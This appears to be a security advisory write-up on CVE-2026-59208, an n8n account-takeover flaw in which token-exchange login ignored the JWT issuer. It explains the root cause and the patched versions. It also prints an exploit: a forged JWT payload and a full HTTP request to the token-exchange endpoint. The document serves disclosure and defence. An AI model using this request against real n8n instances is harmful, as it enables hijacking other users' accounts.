CVE-2026-59208: n8n Cross-Issuer JWT Token Exchange Account Takeover
n8n's Enterprise token-exchange login matched incoming JWTs to user accounts using only the JWT subject claim, ignoring which issuer signed the token, letting an attacker with a valid token from one…
The problem
n8n's token-exchange feature (RFC 8693) lets external identity providers sign short-lived JWTs that log users into an n8n Enterprise instance without a separate login. The user-lookup query matched incoming tokens to local accounts using only the JWT sub claim, never checking the iss claim.
RFC 7519 guarantees sub uniqueness only within a single issuer. In a multi-issuer setup, two different providers can legitimately issue the same subject value to two different people. That collision was enough to hijack an account, no password needed.
Proof of concept
A working proof-of-concept for CVE-2026-59208 in n8n, with the exact payload below.
# Attacker controls Issuer A (a legitimately trusted issuer).
# Victim is registered under Issuer B (also trusted) with sub = "user-42".
# Attacker mints a JWT from Issuer A with sub = "user-42" and sends it
# to the token-exchange endpoint. n8n resolves the sub alone,
# finds the victim's account, and hands the attacker a session.
# Step 1: craft attacker JWT payload (signed with Issuer A's private key)
{
"iss": "https://issuer-a.example.com",
"sub": "user-42",
"aud": "n8n",
"exp": 9999999999,
"iat": 1700000000
}
# Step 2: send to the token-exchange endpoint
POST /api/v1/token-exchange HTTP/1.1
Host: n8n.target.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange
&subject_token=<ATTACKER_JWT_FROM_ISSUER_A>
&subject_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Ajwt
# n8n validates signature against the Issuer A key (passes),
# then looks up the account WHERE externalId = 'user-42' -- no issuer filter.
# It returns a session belonging to the victim under Issuer B.The root cause is a subject-only identity lookup: the pre-patch code resolved a local account with a query scoped to sub alone, with no iss column in the predicate. Because n8n's N8N_TOKEN_EXCHANGE_TRUSTED_KEYS is a flat pool of keys checked in sequence, any key in the pool could validate any incoming JWT regardless of which issuer it claimed.
The patch adds iss to both the stored identity record and the lookup predicate, so the effective key is now (iss, sub) rather than sub alone. This matches RFC 7519 section 4.1.1, which says issuers are responsible for scoping subject uniqueness within their own namespace.
No public PoC has been released as of July 2026. The payload above is derived directly from the advisory and patch semantics (CWE-287, CWE-346).
The fix
Upgrade to n8n 2.27.4 (on the 2.27 branch) or 2.28.1 (on the 2.28 branch), or any later release. If an immediate upgrade is not possible: reduce the token-exchange configuration to a single trusted issuer, or disable the token-exchange feature entirely via its preview feature flag.
Neither workaround fully eliminates the risk per the official advisory.
Reported by bearsyankees (Strix).
Related research
- highCVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Instance Owner
- highCVE-2026-59209CVE-2026-59209: n8n Shared Credential Header Leak via HTTP Request Pagination Expression
- highCVE-2026-59206CVE-2026-59206: n8n Prototype Pollution via Workflow Credentials
- highCVE-2026-59207CVE-2026-59207: n8n AI Agents MCP Connector Allowed HTTP Request Domains Bypass